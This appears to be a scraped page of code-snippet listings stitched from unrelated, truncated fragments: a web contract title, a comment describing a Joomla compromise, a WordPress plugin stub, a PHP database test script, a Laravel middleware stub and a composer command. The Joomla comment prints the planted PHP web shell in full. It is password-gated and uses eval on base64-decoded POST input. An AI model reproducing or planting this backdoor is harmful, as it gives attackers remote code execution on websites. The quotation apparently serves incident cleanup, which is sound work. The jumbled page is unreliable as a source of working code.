The popular open-source contract for web professionals by Stuff & Nonsense
- Originally published: 23rd December 2008
- Revised date: March 15th 2016
- Original post
# The hack places the following file in administrator/components/com_joomlaupdate/config.php: | |
# | |
# <?php | |
# echo"trest";error_reporting(0); | |
# if(isset($_POST['com']) && md5($_POST['com']) == '66d18dc9cbd1b87d4460a2ce37d8e835' && isset($_POST['content'])) $kk = strtr($_POST['content'], '-_,', '+/=');eval(base64_decode($kk)); | |
# echo"abrval"; | |
# ?> | |
# | |
# This creates many files of a similar pattern throughout the Joomla install, e.g. | |
# |
/** | |
* WP Video Playlists Plugin Main.js | |
* @version 0.3.0 | |
* @param {window} w | |
* @param {jQuery} $ | |
*/ | |
(function(w, $) { | |
var setup = function setup() |
<?php | |
# Fill our vars and run on cli | |
# $ php -f db-test.php | |
$dbname = 'dbname'; | |
$dbuser = 'dbuser'; | |
$dbpass = 'dbpass'; | |
$dbhost = 'dbhost'; | |
$connect = mysqli_connect($dbhost, $dbuser, $dbpass) or die("Unable to Connect to '$dbhost'"); |
namespace App\Http\Middleware; | |
use Illuminate\Support\Facades\Log; | |
class LogAfterRequest { | |
public function handle($request, \Closure $next) | |
{ | |
return $next($request); | |
} |
/opt/plesk/php/7.1/bin/php /usr/lib64/plesk-9.0/composer.phar install |